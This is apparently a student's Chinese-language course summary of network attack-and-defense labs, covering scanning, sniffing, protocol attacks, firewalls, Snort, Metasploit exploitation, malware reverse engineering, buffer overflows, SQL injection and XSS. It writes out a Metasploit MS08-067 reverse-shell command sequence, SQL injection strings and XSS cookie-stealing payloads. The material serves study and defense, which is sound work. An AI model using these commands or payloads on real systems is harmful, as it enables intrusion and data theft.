20251913 2025-2026-2 《网络攻防实践》 课程总结

20251913 2025-2026-2 《网络攻防实践》 课程总结

第一次实验 [网络攻防环境的搭建](20251913 2025-2026-2 《网络攻防实践》第1周作业

第一次实验主要进行了攻防环境的搭建。首先梳理了虚拟机的三种网络连接方式(NAT模式、仅主机模式、桥接模式)的区别和适用场景,理解了蜜网网关作为蜜网核心桥梁的作用,它能透明地限制出站连接、捕获网络数据包与主机日志。然后通过画网络拓扑图梳理了各网段地址,配置了VMnet1和VMnet8的子网、掩码及DHCP范围。接着逐一导入并配置各类虚拟机(Metasploitable_ubuntu、Win2kServer_SP0_target、SEEDUbuntu、WinXPattacker、BT5等),最后安装配置蜜网网关,包括蜜罐IP、广播地址、管理口等参数,并通过连通性测试和Walleye远程管理界面验证了配置成功。

实验中也遇到了一些问题。第一次接触VMware,对Metasploitable_ubuntu这类非图形化界面的系统配置不熟悉,通过请教同学,理解了sudo vim /etc/rc.local等命令的含义。蜜网网关配置时需要三张网卡(eth0连接攻击者、eth1连接蜜罐、eth2供管理员秘密监控),开始不理解其原理,后来明白了这是为了实现"攻击流量统一管控、蜜罐完全隔离、监控通道对攻击者不可见"的安全架构。蜜罐网关访问失败也是因为把IP写成了192.168.200.0而非192.168.200.8。

第一次构建攻防平台最大的收获,是建立了一种"架构思维"——以后再研究任何攻击技术,都会下意识地想:这个攻击在网络拓扑的哪个位置生效?需要满足哪些路由条件?如果要防御,应该在哪个点部署检测?拓扑图成了思考安全问题的"坐标系"。

第二次实验 [网络信息收集技术](20251913 2025-2026-2 《网络攻防实践》第2次作业

第二次实验主要进行了网络信息收集。首先通过WHOIS服务和nslookup查询DNS域名注册信息与解析记录。然后通过与同学QQ通话,通过资源监视器抓取IP地址,再使用IP138网站查询地理位置。接着使用nmap对靶机进行主机存活探测(-sP)、SYN端口扫描(-sS)、操作系统识别(-O)和服务版本探测(-sV),构建靶机的网络指纹。然后安装并配置Nessus,通过离线许可文件和激活码完成注册,对靶机进行全面的漏洞扫描,生成了包含漏洞详情和风险等级的报告。最后通过搜索引擎查询自己的姓名和姓名+学校,发现网上没有自己的个人信息痕迹。

实验中也遇到了一些问题。Kali无法联网导致无法安装Nessus,在检查网络后重新安装并多次尝试激活码才成功进入Nessus界面。nmap的SYN扫描需要root权限,在命令前加sudo即可解决。

第三次实验 [网络嗅探与协议分析](20251913 2025-2026-2《网络攻防实践》实验三

第三次实验主要进行网络嗅探和取证分析。首先是实践tcpdump,在Kali上对访问百度网页的过程进行嗅探,设置过滤规则观察流经的Web服务器地址。然后通过Wireshark监听嗅探登录清华大学BBS论坛(TELNET协议)的过程,使用"Follow TCP Stream"功能还原了完整的通信过程,包括输入的登录信息。最后是取证分析实践,用Wireshark打开listen.pcap文件,通过过滤和分析确定攻击机IP和目标IP,使用Snort进行入侵检测发现了tcp_scans端口扫描行为,并用p0f被动识别攻击机操作系统为2.6.x内核。

实验中也遇到了一些问题。Snort安装时缺少GPG公钥,通过wget -q -O - https://archive.kali.org/archive-key.asc | sudo apt-key add -导入公钥解决。安装p0f时权限不足,加sudo后成功。Kali初始无法读取IP地址是因为网络设置为桥接模式,改为NAT模式即可。

第四次实验 [TCP/IP网络协议攻击](20251913 2025-2026-2 《网络攻防实践》 第4次作业

第四次实验主要进行TCP/IP协议栈重点协议的攻击实验。依次完成了ARP缓存欺骗攻击(使用netwox 33伪造ARP应答包,篡改目标主机的ARP缓存表)、ICMP重定向攻击(使用netwox 86伪造ICMP重定向报文,篡改目标主机的路由表)、SYN Flood攻击(使用netwox 76向靶机Telnet端口发送大量伪造SYN请求)、TCP RST攻击(使用netwox 78伪造RST报文强制关闭TCP连接)和TCP会话劫持攻击(使用ettercap进行ARP欺骗后嗅探Telnet会话,获取用户名和密码)。

实验中也遇到了一些问题。SEED ping不通Meta是因为不在同一网段,统一修改IP解决。netwox未安装,通过sudo apt install netwox -y --fix-missing安装。改为NAT模式后Meta的IP未更新,使用dhclient eth0强制重新申请IP。

通过本次实验深刻理解了"协议安全是网络安全的基础"这一核心思想——ARP缺乏身份验证、ICMP重定向缺乏信任机制、TCP三次握手存在半连接资源消耗漏洞,这些设计缺陷正是网络攻击的根源。

第五次实验 [网络安全防范技术](20251913 2025-2026-2 《网络攻防实践》 第5次作业

第五次实验主要进行安全防范措施的模拟。首先是配置防火墙,使用iptables实现了ICMP数据包过滤(iptables -A INPUT -p icmp -j DROP)和特定IP访问控制(只允许特定IP访问FTP服务)。然后实践Snort,对listen.pcap进行入侵检测,生成了135,518条告警,分析统计信息发现99%的协议都是TCP,并判定攻击是使用nmap发起的。最后分析了蜜网网关的防火墙配置规则(rc.firewall中黑名单DROP和白名单ACCEPT机制)和IDS/IPS配置脚本(snortd和hw-snort_inline)。

实验中也遇到了一些问题。新版Kali默认安装的Snort 3与旧版Snort 2.x参数不兼容,需要将-A alert_fast改为-A fast,并使用sudo sh -c确保写权限。蜜网网关输入vim /etc/init.d/rc.firewall后空白,需要先执行su -切换root环境。

第六次实验 [Windows操作系统安全攻防](20251913 2025-2026-2 《网络攻防实践》第6次作业

第六次实验主要进行Windows远程渗透和取证分析。首先使用Metasploit利用MS08-067漏洞(Windows Server服务RPC请求缓冲区溢出漏洞)对Win2k靶机进行远程渗透攻击,成功获取了靶机的访问权限。然后是取证分析实践,分析了一份蜜罐主机的攻击日志(snort-0204@0117.log),通过Wireshark过滤追踪,发现了攻击者利用Unicode编码漏洞(%C0%AF)访问boot.ini文件,使用msadc2.pl渗透代码通过SQL注入执行Shell命令,并通过FTP传输nc.exe、pdump.exe、samdump.dll等工具进行提权和留后门。攻击者后来发送了check website命令,说明已经警觉目标是蜜罐。最后进行了团队对抗实践,成功远程在靶机上创建了文件夹和文件。

实验中也遇到了一些问题。Kali和Win2k无法ping通,将它们设置在同一个网段内解决。

第七次实验 [Linux操作系统攻防](20251913 2025-2026-2 《网络攻防实践》 第7次作业

第七次实验主要进行Linux系统的远程渗透和攻防对抗。首先使用Metasploit利用靶机Samba服务的usermap_script漏洞远程控制靶机,设置了cmd/unix/reverse_netcat载荷,成功获取root权限。然后进行攻防对抗实践,通过nmap扫描发现靶机的vsftpd后门漏洞,利用Metasploit启动攻击取得root权限,并在靶机上创建了新文件。防守方则通过Wireshark分析,过滤端口6200的数据包发现攻击者IP,追踪FTP数据包发现后门原理(输入以:)结尾的用户名即可触发),追踪TCP流还原了攻击者的完整操作。

实验中也遇到了一些问题。旧版Metasploit_ubuntu与新Kali的Metasploit不兼容,exploit失败,重启msfconsole并更换Metasploit_ubuntu2.0解决。

第八次实验 [恶意代码分析实践](20251913 2025-2026-2 《网络攻防实践》 第8次作业

第八次实验主要进行不同恶意代码的分析。首先是Rada恶意代码基础分析,使用file命令识别文件类型为PE32,通过PEiD确认加壳工具为UPX,用超级巡警脱壳机脱壳后用strings和IDA Pro找到了编写作者信息。然后是Crackme程序分析,使用IDA Pro对crackme1.exe和crackme2.exe进行逆向分析——crackme1只需输入I know the secret即可破解,crackme2需要将程序重命名为crackmeplease.exe再输入I know the secret。接着进行了Rada深度分析,通过Process Explorer监视发现其通过HTTP请求下载rada_commands.html,修改注册表设为开机启动,发动DDOS Smurf远程攻击,判定为远程访问木马(具备僵尸网络客户端能力)。最后是botnet_pcap分析,研究了IRC通信协议和僵尸网络的运作方式。

实验中对汇编语言不熟悉,分析代码时花了很多时间,但一步步揭开恶意代码的面纱是一个很有趣的过程。

第九次实验 [软件安全攻防--缓冲区溢出和shellcode](20251913 2025-2026-2 《网络攻防实践》 第9次作业

第九次实验主要进行缓冲区溢出攻击的三个层次实践。实验一是手工修改可执行文件,通过反汇编分析找到main函数中call foo的机器码位置,计算getShell的偏移量0xFFFFFFC3,使用vim的十六进制模式将d7改为c3,成功改变了程序执行流程。实验二是利用foo函数的gets()缓冲区溢出漏洞,通过gdb调试确定缓冲区到返回地址的偏移为32字节,构造payload覆盖返回地址为getShell入口地址0x0804847d,成功触发getShell。实验三是注入自定义shellcode,关闭ASLR和设置栈可执行后,通过gdb调试确定shellcode在栈中的地址,构造包含shellcode的payload成功运行了自己的代码。

实验中也遇到了一些问题。Kali无法联网下载gdb和execstack,切换网络后解决;execstack无法通过apt安装,从阿里云镜像直接下载deb包手动安装。三个实验从"改代码"到"覆盖返回地址"再到"注入自己的代码",每一步都在加深对计算机底层运行机制的理解。

第十次实验 [Web应用程序安全攻防](20251913 2025-2026-2 《网络攻防实践》 第10次作业

第十次实验主要进行了Web安全的两大类攻击与防御。SQL注入部分:在SEEDLab环境中,通过分析unsafe_home.php源码,使用Admin'#绕过密码验证以管理员身份登录;通过注入', salary='20251913' where Name='Boby';#修改了他人薪水;最后使用预处理语句(Prepared Statement)对漏洞进行了修复。XSS跨站脚本攻击部分:在Elgg社交平台中,通过嵌入<script>alert("20251913")</script>验证了XSS漏洞;通过<script>alert(document.cookie)</script>展示了cookie泄露风险;通过构造<img>标签将cookie发送到攻击者监听端口实现窃取;通过分析添加好友的HTTP请求,构造CSRF攻击使受害者自动添加攻击者为好友;编写了XSS蠕虫代码实现自我复制传播;最后通过CSP内容安全策略抵御XSS攻击。

实验中也遇到了一些问题。使用了新版SEEDLab,在配置上花了一番功夫,新版浏览器的代理和缓存设置也需要调整。

第十次实验是可视化效果最好的一次,SEEDLab构建的模拟场景前后端加数据库配备齐全,图形化界面让攻击效果呈现得很清晰,尤其是XSS蠕虫传播实验让我体验了病毒扩散的恐怖力量。

第十一次实验 [浏览器安全攻防实践](20251913 2025-2026-2 《网络攻防实践》 第11次作业

第十一次实验主要进行了浏览器渗透攻击和网页木马取证分析。首先通过Metasploit利用MS06-014漏洞进行攻击,生成了木马网页链接,靶机打开后建立了反向TCP远程shell,攻击机得以远程控制靶机。然后是网页木马攻击的取证分析实践,从start.html开始层层追踪,通过iframe找到new09.htm,解密XXTEA+Base64加密的JS代码,分析其中的浏览器类型判断逻辑,提取出四个被调用的恶意文件,使用MD5哈希在服务器定位对应文件,最终还原出完整的攻击链——下载并执行014.exe和bf.exe木马。最后进行了攻防对抗,防守方通过分析木马网站的源代码找到攻击者使用的漏洞ID。

实验中对多层加密解密的分析花了很多时间,体会到了恶意代码分析中链式追踪的方法论和MD5哈希在恶意样本检索中的实际应用。

最喜欢的且做的最好的一次实践是哪次?为什么?

最喜欢且做得最好的一次实践是第十次实验——Web应用程序安全攻防。这次实验的体验感极强,SEEDLab提供了从数据库到前端页面的完整Web应用环境,攻击的效果能够实时可视化反馈。在SQL注入实验中,输入Admin'#看到直接以管理员身份登录成功的那一刻,真正理解了注入的原理。在XSS实验中,从简单的弹窗,到窃取cookie,再到构造蠕虫代码实现自传播,每一步都层层递进。尤其是XSS蠕虫实验,编写代码后先后登录不同账户,体验了病毒由Alice传给Boby,再由Boby传给其他用户这一链式传播过程,让人深刻感受到Web安全漏洞的严重性。此外,这次实验还涉及攻防两端——既完成了注入攻击,也通过预处理语句和CSP策略进行了防御修复,形成了完整的攻防闭环。

本门课学到的知识总结

一、网络攻防环境搭建

1. 虚拟化技术与网络拓扑设计

网络攻防实验环境的搭建是整个课程的基础。在VMware虚拟化平台上,通过配置不同的虚拟网络模式,可以在一台物理机上模拟出完整的攻防网络拓扑。虚拟机的三种网络连接模式各有其适用场景:

  • NAT模式:物理机充当路由器和DHCP服务器,虚拟机通过物理机访问外网,但外部设备无法直接访问虚拟机。虚拟机在私有网段(如192.168.xxx.xxx)中运行,适用于需要让攻击机访问互联网下载工具的场景,同时保证外部无法反向连接。

  • 仅主机模式:虚拟机之间以及与物理机之间可以通信,但与外部网络完全隔离。虚拟机在独立私有网段中运行,适用于蜜罐网络——即使蜜罐被攻破,攻击者也无法以此为跳板攻击外部真实机器,将安全风险牢牢控制在实验环境内。

  • 桥接模式:虚拟机直接使用物理网卡,等同于局域网中的一台独立主机,与物理机处于同一网段。适用于需要让攻击机和靶机在真实网络环境中交互的场景。

2. 蜜网网关架构与配置

蜜网网关(HoneyWall)是蜜网架构的核心桥梁设备,需要配置三张虚拟网卡,每张网卡承担不同的安全角色:

  • eth0(NAT模式):连接攻击者网络。所有攻击流量必须经过蜜网网关才能进入蜜罐网络,实现统一管控和流量记录。

  • eth1(仅主机模式):连接蜜罐网络。蜜罐完全隔离于此网段中,即使被完全攻破也无法对外发起攻击。

  • eth2(独立NAT):管理接口。专为研究人员提供秘密监控通道,对攻击者完全不可见,确保监控分析平台自身的安全。

蜜网网关的核心功能包括:透明桥接(对攻击者不可见)、出站连接限制(防止蜜罐被用作攻击跳板)、网络数据包全面捕获以及Sebek主机日志收集。通过Walleye远程管理界面,可以直观地查看蜜网中的攻击活动。

3. 攻防环境中的虚拟机角色

虚拟机镜像名称 类型 操作系统 IP示例 主要用途
KALI Linux Linux攻击机 Debian系 192.168.200.4 预装Metasploit、nmap、Wireshark等渗透工具
Metasploitable_Ubuntu Linux靶机 Ubuntu 8.04 192.168.200.130 含Samba、vsftpd等历史漏洞
Win2kServer_SP0_target Windows靶机 Windows 2000 192.168.200.10 含MS08-067、MS06-014等经典漏洞
WinXP Attacker Windows攻击机 Windows XP DHCP获取 含IDA Pro、PEiD等逆向工具
SEED Ubuntu 攻防双用 Ubuntu 16.04 192.168.200.5 含防火墙、Web安全实验环境
HoneyWall 蜜网网关 CentOS系 192.168.200.8 流量监控与入侵检测

4. IP地址规划与连通性验证

网络配置的核心是IP地址的规划。在本次实验中,VMnet8网段为192.168.200.0/25(掩码255.255.255.128),DHCP分配范围为192.168.200.2~192.168.200.120,网关为192.168.200.1。配置完成后,通过ping命令和traceroute工具验证各虚拟机之间的连通性,确保攻击流量能够按预期路径经过蜜网网关。

5. 环境搭建中的系统配置技巧

  • 对于Metasploitable这类无图形界面的系统,通过sudo vim /etc/rc.local编辑网络配置文件,添加ifconfig eth0 IP netmask 掩码route add default gw 网关命令实现IP的静态配置。

  • 当DHCP分配的IP不符合拓扑规划时,可使用dhclient eth0强制网卡重新申请IP,然后用ifconfig eth0验证。

  • 修改主机名便于在截图中清晰标识身份,使用hostnamectl set-hostname 主机名可永久修改。


二、网络信息收集技术

1. 信息收集的三层递进模型

网络信息收集是攻击的第一步,遵循"网络踩点→网络扫描→网络查点"的递进模型:

  • 网络踩点(Footprinting):被动收集目标的公开信息,不直接与目标交互。
  • 网络扫描(Scanning):主动探测目标的网络拓扑和活跃服务。
  • 网络查点(Enumeration):深入挖掘目标系统和用户的具体信息。

2. DNS与IP信息查询技术

WHOIS查询:通过ICANN管理的WHOIS数据库,可以查询域名的注册信息,包括注册人、注册机构、注册日期、到期日期、DNS服务器等。在Kali中可使用whois命令直接查询,或通过ICANN的WHOIS网页界面查询。

nslookup查询:用于DNS解析记录的查询,可以获取域名对应的A记录(IPv4地址)、MX记录(邮件服务器)、NS记录(域名服务器)等。例如nslookup baidu.com可查询百度的IP地址。

IP地理位置查询:IP地址与物理位置的映射基于ISP分配的地址数据库。实践中通过与同学进行QQ语音通话,利用Windows资源监视器查看QQ.exe的网络连接,获取对方的公网IP地址,再通过IP138或IP2Location等网站查询对应的地理位置。需要注意的是,微信等即时通讯工具通过服务器中转消息,抓取到的是代理服务器IP,而非对方的真实IP,因此精准度有限。

3. nmap扫描技术体系

nmap是网络扫描的核心工具,其扫描技术从浅入深包括:

  • 主机存活探测(-sP/-sn):发送ICMP Echo Request或TCP SYN/ACK包,探测网段内哪些主机在线。例如nmap -sP 192.168.200.0/24扫描整个C段。

  • 端口扫描

    • TCP SYN扫描(-sS):发送SYN包,收到SYN/ACK则端口开放,收到RST则端口关闭,不完成三次握手,属于"半开扫描",较为隐蔽。
    • TCP Connect扫描(-sT):调用系统connect()完成完整TCP连接,实现简单但容易被日志记录。
    • UDP扫描(-sU):发送特制UDP包,无响应或收到ICMP端口不可达则判断端口状态。
  • 服务版本识别(-sV):连接开放端口后,通过分析服务旗标(Banner)和握手响应,识别具体服务软件及其版本号。

  • 操作系统识别(-O):通过分析TCP/IP协议栈指纹(如TCP初始窗口大小、IP ID生成规律、TCP选项顺序等),判断目标主机的操作系统类型和版本。

  • NSE脚本引擎(--script):加载Lua脚本进行高级检测,例如--script=vuln进行漏洞发现。

4. Nessus漏洞扫描

Nessus与nmap互补:nmap侧重发现"开放了什么端口、运行了什么服务"(资产发现),Nessus侧重发现"这些服务存在哪些已知漏洞"(安全评估)。

Nessus的安装流程较为复杂,需要:下载对应系统版本的deb包→sudo dpkg -i安装→启动nessusd服务→获取挑战码→在Tenable官网注册获取激活码→下载离线插件包→完成初始化。扫描策略可配置为Basic Network Scan,扫描完成后按Critical/High/Medium/Low分级展示漏洞,每个漏洞包含详细描述、风险等级和修复建议。

5. 个人信息泄露自查

通过搜索引擎搜索自己的姓名、姓名+学校等关键词组合,检查是否存在个人信息泄露。这是最简单但也最直观的网络信息收集实践,提醒我们在日常上网中要注意隐私保护,避免在公开平台上泄露敏感个人信息。


三、网络嗅探与协议分析

1. 网络嗅探的基本原理

网络嗅探(Sniffing)是一种被动窃听技术,利用计算机的网络接口截获目的地为其他计算机的数据报文。其核心原理是将网卡设置为混杂模式(Promiscuous Mode),突破常规仅接收目标MAC地址为本机的数据包的限制,接收同一广播域内所有流经该接口的数据包。

在网络拓扑层面,嗅探的有效性取决于网络架构:

  • 共享式网络(集线器Hub):所有数据包广播到所有端口,嗅探极为容易。
  • 交换式网络(交换机Switch):默认按MAC地址表转发,需通过ARP欺骗、MAC泛洪等手段将流量重定向到嗅探主机。

防范嗅探的措施包括:使用加密协议(HTTPS而非HTTP、SSH而非TELNET)、部署交换式网络、采用静态ARP表或MAC-端口绑定、在网络关键节点部署入侵检测系统。

2. tcpdump命令行嗅探

tcpdump是基于libpcap库的命令行嗅探工具,支持强大的BPF(Berkley Packet Filter)过滤规则。常用过滤条件包括:

  • host IP:限制源或目的IP
  • src IP / dst IP:限制源或目的方向
  • tcp port 80:限制TCP端口
  • tcp[13] & 18 = 2:匹配TCP flags(偏移13字节为flags字段,SYN=2,SYN/ACK=18)
  • -n:不解析主机名和端口名,加速显示
  • -i eth0:指定嗅探接口

例如tcpdump -n src 192.168.200.4 and tcp port 80 and "tcp[13] & 18 =2"可捕获来自本机访问Web服务的TCP SYN/ACK响应包。

3. Wireshark图形化分析

Wireshark是目前最强大的开源网络协议分析工具,核心能力包括:

  • 显示过滤器:支持丰富的过滤语法,如ip.src==192.168.200.4tcp.port==23http.request.method=="GET"

  • 协议栈分层解析:将二进制数据包从链路层(Ethernet)→网络层(IP)→传输层(TCP/UDP)→应用层(HTTP/TELNET/FTP等)逐层解析。

  • Follow TCP Stream:还原完整的TCP会话过程,对明文协议可直接看到通信内容。这也是TELNET嗅探的核心方法——在过滤器输入telnet筛选Telnet流量,选择一个数据包后右键"追踪TCP流",即可看到包括登录用户名和密码在内的完整会话内容。

  • 统计功能:Protocol Hierarchy(协议层次统计)、Conversations(会话统计)、Endpoints(端点统计)等。

4. TELNET协议的安全缺陷

TELNET是典型的明文传输协议,所有数据(包括用户名和密码)以明文形式在网络上传输,完全不提供加密保护。在实验中,通过Wireshark嗅探清华大学BBS论坛的TELNET登录过程,可以清楚地看到BBS服务器地址(120.92.212.76)、端口(23),以及用户输入的guest登录用户名。对于支持中文的BBS,需要使用luit -encoding gbk进行GBK编码转换。

5. 取证分析实践

取证分析是安全事件响应的核心环节,实验中通过分析listen.pcap文件实践了这一过程:

  • 通过统计通信端点的流量,确定攻击机IP(172.31.4.178)和扫描目标(172.31.4.188)。
  • 使用Snort加载Nmap扫描识别规则进行入侵检测,发现了tcp_scans端口扫描行为。
  • 使用Wireshark过滤tcp.flags.syn == 1 and tcp.flags.ack == 1找出回应SYN/ACK的开放端口(包括3306、139、23、80、25、22、53、21、445、5432、8009、8180等)。
  • 使用p0f(被动操作系统指纹识别工具)判断攻击机的操作系统为Linux 2.6.x内核。
  • 通过协议层次统计发现99%的流量为TCP协议。

四、TCP/IP网络协议攻击

1. 网络安全属性与攻击模式

网络安全的三要素是:

  • 机密性(Confidentiality):信息不被未授权者获取。
  • 完整性(Integrity):信息不被未授权篡改。
  • 可用性(Availability):信息和系统资源在需要时可用。

网络攻击的四种基本模式对应破坏不同的安全属性:

  • 截获(Interception):破坏机密性——嗅探明文通信。
  • 中断(Interruption):破坏可用性——SYN Flood、DDoS。
  • 篡改(Modification):破坏完整性——会话劫持、ARP欺骗。
  • 伪造(Fabrication):破坏真实性——IP欺骗、MAC欺骗。

2. ARP缓存欺骗攻击

ARP协议用于将IP地址映射为MAC地址,工作流程是:主机发送ARP广播请求"谁的IP是X?",目标主机以单播ARP应答"我的MAC是Y"。ARP协议的致命缺陷是没有身份验证机制——任何主机都可以发送ARP应答,接收方无条件信任并更新ARP缓存表。

实验中通过netwox 33工具实施ARP欺骗:

  • 持续发送伪造的ARP应答包,将网关IP映射为攻击机的MAC地址。
  • 攻击机开启IP转发(echo 1 > /proc/sys/net/ipv4/ip_forward),使目标主机和网关之间的通信经过攻击机中转,实现中间人攻击。
  • 使用netwox 80发送免费ARP,修改目标主机的ARP缓存。

3. ICMP重定向攻击

ICMP重定向报文是路由器向主机发送的路由优化通知。当主机向默认网关发送数据包,而网关发现存在更优的下一跳路由时,会向主机发送ICMP重定向报文,告知主机更新路由表。ICMP重定向的缺陷同样是缺乏身份验证——攻击者可以伪造网关的IP地址发送重定向报文,篡改目标主机的路由表。

实验中通过netwox 86伪造ICMP重定向报文,使目标主机访问特定网站(如百度)的流量被重定向到攻击机。

4. SYN Flood攻击

SYN Flood利用TCP三次握手的半连接队列限制发起拒绝服务攻击。TCP连接建立的正常流程是:客户端SYN→服务器SYN/ACK→客户端ACK。攻击者发送大量伪造源IP的SYN包后,服务器为每个半连接分配资源(内存、队列条目),而伪造的源IP永远不会回复ACK,导致半连接队列被占满,正常用户的连接请求被拒绝。

实验中通过netwox 76实施了SYN Flood攻击,向靶机的Telnet端口(23)发送大量伪造SYN请求。由于攻击会发送海量数据包,运行后应尽快切断,否则攻击机也会因资源耗尽而卡顿。

5. TCP RST攻击与TCP会话劫持

TCP RST报文用于强制断开TCP连接。攻击者通过嗅探获取目标主机通信的源IP、目的IP、源端口、目的端口和序列号后,可以在任何时刻发送一个带有正确序列号的RST包,使连接双方之一认为对方主动断开连接,导致通信中断。

TCP会话劫持则更进一步:攻击者在已建立的TCP会话中,伪造数据包接管会话,无需身份验证即可冒充合法用户执行操作。实验中通过ettercap工具实施——先通过ARP欺骗实现中间人,再扫描活跃连接,选择Telnet会话进行劫持,可以看到受害者输入的用户名和密码。

6. TCP/IP协议栈攻击总结表

协议栈层次 协议 安全缺陷 攻击技术 破坏属性 工具
网络接口层 以太网 共享传输媒介、明文传输 网络嗅探 机密性 Wireshark/tcpdump
网络接口层 ARP 无身份验证机制 ARP缓存欺骗 真实性 netwox 33/80
互联层 IPv4 缺乏IP身份认证 IP地址欺骗 真实性 netwox
互联层 ICMP ICMP重定向无验证 ICMP重定向攻击 完整性/真实性 netwox 86
传输层 TCP 三次握手连接队列瓶颈 SYN Flood 可用性 netwox 76
传输层 TCP 会话参数可被嗅探伪造 TCP RST攻击 真实性/可用性 netwox 78
传输层 TCP 会话身份认证不足 TCP会话劫持 真实性/可用性 ettercap

五、网络安全防范技术

1. 防火墙技术(iptables)

防火墙是网络安全的第一道防线,部署于内部网络与外部网络之间,依据预设安全策略监控和控制网络流量。按过滤深度可分为:

  • 包过滤防火墙:仅检查数据包头部(IP地址、端口号、协议类型),效率高但安全性较低。
  • 状态检测防火墙:跟踪TCP连接状态(NEW、ESTABLISHED、RELATED),能区分合法响应包和恶意探测包。
  • 应用层防火墙:深入检查应用层数据内容(如HTTP请求体),识别SQL注入、XSS等攻击。

实验中通过iptables实现了以下配置:

  • ICMP过滤:iptables -A INPUT -p icmp -j DROP——丢弃所有ICMP包,使ping失效。
  • 特定IP访问控制:允许特定IP访问FTP服务,拒绝其他IP。
  • 规则管理:iptables -L查看规则,iptables -F清除所有自定义规则。

2. 入侵检测系统(Snort)

Snort采用模块化架构,支持插件扩展,其检测流程为:数据包捕获→解码→预处理器→规则匹配引擎→告警输出。Snort的三种工作模式:

  • 嗅探器模式:在终端实时显示抓取的数据包。
  • 数据包记录器模式:将数据包记录到硬盘文件。
  • NIDS模式:加载规则文件进行入侵检测匹配。

实验中,由于Kali默认安装的是新版Snort 3,其参数和规则语法与Snort 2.x不同,需要使用-A fast替代-A alert_fast,并注意规则文件路径和写权限的问题。对listen.pcap进行分析后产生了超过13万条告警,统计显示99%为TCP流量。

3. 蜜网网关防御规则

蜜网网关rc.firewall脚本实现三层防御体系:

  • 黑名单(Black List):对已知恶意IP的流量直接DROP。
  • 白名单(White List):对可信IP的流量ACCEPT。
  • 连接限制:限制每个蜜罐的出站连接速率,防止蜜罐被攻破后对外发起大量攻击。

snortd和hw-snort_inline脚本则负责在蜜网网关上启动内联入侵防御,对经过的流量进行实时检测和阻断。

4. 防御的体系化思维

安全不是单一工具的完美,而是防御、检测、响应、捕获环环相扣的体系化工程。防火墙负责边界防御(阻断已知威胁),IDS/IPS负责内部检测(发现未知威胁),蜜网负责攻击捕获(研究攻击者行为),三者协同形成纵深防御体系。


六、操作系统安全攻防

1. Windows远程渗透攻击

MS08-067漏洞:Windows Server服务RPC请求缓冲区溢出漏洞,是Windows历史上最著名的高危漏洞之一。攻击者通过受害主机默认开放的SMB服务端口445发送特制RPC请求,触发栈缓冲区溢出,实现远程代码执行。在Metasploit框架中操作流程:

msfconsole
search ms08-067
use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp
set RHOST 192.168.200.10
set LHOST 192.168.200.4
exploit

MS06-014漏洞:IE浏览器远程代码执行漏洞。攻击者构造包含恶意脚本的网页,靶机使用IE浏览器访问后,漏洞被触发,Shellcode执行后反向连接攻击机建立远程Shell。

Metasploit渗透测试流程

  1. search 漏洞名——搜索漏洞利用模块
  2. use 模块路径——选择模块
  3. show payloads——查看可用的攻击载荷
  4. set payload 载荷名——选择载荷(正向连接或反向连接)
  5. set RHOST 靶机IP / set LHOST 攻击机IP——配置攻击参数
  6. show options——验证配置
  7. exploit——执行攻击
  8. sessions -i 会话ID——进入远程Shell

2. Linux远程渗透攻击

  • Samba usermap_script漏洞:Samba服务在处理用户映射脚本时存在命令注入漏洞,攻击者可以通过构造特制的用户名执行任意Shell命令。在Metasploit中使用exploit/multi/samba/usermap_script模块,选择cmd/unix/reverse_netcat载荷,成功获取root权限。

  • vsftpd后门漏洞:特定版本的vsftpd存在后门漏洞,当用户以:)结尾的用户名登录FTP服务时,服务器会在6200端口打开一个后门Shell。在Metasploit中使用exploit/unix/ftp/vsftpd_234_backdoor模块即可利用。防守方通过Wireshark过滤6200端口可以发现攻击者IP,追踪FTP流可以看到触发后门的特殊用户名。

3. Windows远程渗透取证分析

分析snort-0204@0117.log蜜罐主机日志:

  • 通过%C0%AF(Unicode编码的/)识别Unicode编码攻击。
  • 通过ADM!ROX!YOUR!WORLD!特征字符串识别msadc2.pl渗透代码。
  • 通过FTP流量发现攻击者传输的提权工具(nc.exe、pdump.exe、samdump.dll)。
  • 通过6969端口的nc后门连接还原攻击者的操作指令。
  • 攻击者发送check website命令说明其已警觉目标是蜜罐。

七、恶意代码分析

1. 静态分析技术

  • 文件类型识别file命令可识别PE32可执行文件格式、运行平台(Windows GUI)和架构(Intel 80386 32-bit)。
  • 加壳检测strings rada.exe输出乱码说明文件已加壳;PEiD工具可直接识别加壳工具类型(如UPX)。
  • 脱壳:使用超级巡警脱壳机或UPX工具(upx -d)对加壳文件进行脱壳处理,还原原始代码。
  • 字符串提取:脱壳后使用strings命令输出可打印字符串,从中查找作者信息、URL、函数名等有用信息。IDA Pro提供更全面的静态分析能力,可查看导入函数、导出函数、流程图和交叉引用。
  • 哈希值md5sum计算文件的MD5哈希值作为唯一标识,用于恶意样本共享和检索。

2. 动态分析技术

  • Process Explorer:监视进程的网络连接、文件操作、注册表修改等行为。对RaDa_unpacked.exe的监视发现其通过HTTP请求10.10.10.10/rada,下载rada_commands.html,修改HKLM\Software\Microsoft\Windows\CurrentVersion\Run\注册表设为开机自启动,发起DDOS Smurf远程攻击。
  • Process Monitor:监视进程的文件系统、注册表、进程/线程活动。
  • Wireshark:捕获恶意代码产生的网络流量,分析其C&C通信协议。

3. 逆向分析技术(Crackme实践)

  • 函数调用分析:通过IDA Pro的function calls视图,识别程序调用的关键函数(strcmp、printf、scanf等),快速定位核心验证逻辑。
  • 流程图分析:通过flow chart视图理解程序控制流(条件分支、循环结构)。
    • crackme1.exe采用两级验证:第一层检查参数个数(!=2则退出),第二层strcmp比较参数与"I know the secret"
    • crackme2.exe采用三级验证:第一层检查参数个数,第二层strcmp比较argv[1]与"crackmeplease.exe",第三层strcmp比较argv[2]与"I know the secret"
  • 明文字符串定位strings命令和IDA Pro的strings视图可直接显示程序中硬编码的明文字符串,很多时候这就是密码或口令。

4. 恶意代码分类

  • 远程访问木马(RAT):伪装成正常软件诱导用户执行,建立远程控制通道,具备文件操作、注册表操作、进程管理、屏幕监控、键盘记录等功能。
  • 僵尸网络客户端:被攻击者控制,组成大规模网络,用于DDoS攻击、垃圾邮件发送、加密货币挖矿等。
  • 蠕虫:能够自我复制并通过网络传播,无需用户交互。
  • 历史上类似工具包括SubSeven、Poison Ivy、Setiri等。

5. 僵尸网络分析(IRC-Botnet)

  • IRC(Internet Relay Chat)是基于文本的实时通信协议,采用C/S架构,僵尸网络常使用IRC作为C&C信道。IRC使用TCP 6660-6669(明文)或6697(TLS加密)端口。加入IRC网络时客户端发送NICK消息(指定昵称)、USER消息(提供用户信息)和可能的PASS消息(频道密码)。
  • 分析蜜罐主机的5天流量数据时,需结合Snort告警日志和Wireshark流量统计,识别C&C服务器、统计受控主机数量、追踪攻击来源IP、分析攻击利用的漏洞类型及其成功与否。

